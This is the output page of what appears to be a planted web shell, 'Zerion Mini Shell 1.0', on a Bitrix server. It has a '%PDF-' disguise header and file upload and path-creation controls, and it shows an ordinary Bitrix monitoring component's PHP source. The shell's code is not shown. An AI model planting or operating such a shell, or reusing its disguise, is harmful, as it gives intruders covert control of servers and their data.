%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/bitrixcloud.mobile.monitoring.push/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/components/bitrix/bitrixcloud.mobile.monitoring.push/component.php

<?if(!Defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

if (!$USER->CanDoOperation("bitrixcloud_monitoring"))
{
	ShowError(GetMessage("BCLMME_ACCESS_DENIED"));
	return;
}

if (!CModule::IncludeModule('bitrixcloud'))
{
	ShowError(GetMessage("BCLMME_BC_NOT_INSTALLED"));
	return;
}

if (!CModule::IncludeModule('mobileapp'))
{
	ShowError(GetMessage("BCLMME_MA_NOT_INSTALLED"));
	return;
}

$arResult = array(
	"CURRENT_PAGE" => $APPLICATION->GetCurPage(),
	"AJAX_URL" => $componentPath."/ajax.php",
	"DOMAIN" => isset($_REQUEST["domain"]) ? $_REQUEST["domain"] : "",
	"DOMAINS_NAMES" => array(),
	"OPTIONS" => array()
);

$monitoring = CBitrixCloudMonitoring::getInstance();
$monitoringResults = $monitoring->getMonitoringResults();

if($arResult["DOMAIN"] != "")
{
	$arUserDevices = CBitrixCloudMobile::getUserDevices($USER->GetID());
	$arMonDevices = $monitoring->getDevices($arResult["DOMAIN"]);

	foreach ($arUserDevices as $deviceId)
	{
		if(in_array($deviceId, $arMonDevices))
			$arResult["OPTIONS"]["SUBSCRIBE"] = 'Y';
		else
			$arResult["OPTIONS"]["SUBSCRIBE"] = 'N';
	}
}
else
{
	foreach ($monitoringResults as $domainName => $tmp)
		$arResult["DOMAINS_NAMES"][] = $domainName;
}

CJSCore::Init('ajax');

$this->IncludeComponentTemplate();
?>

Zerion Mini Shell 1.0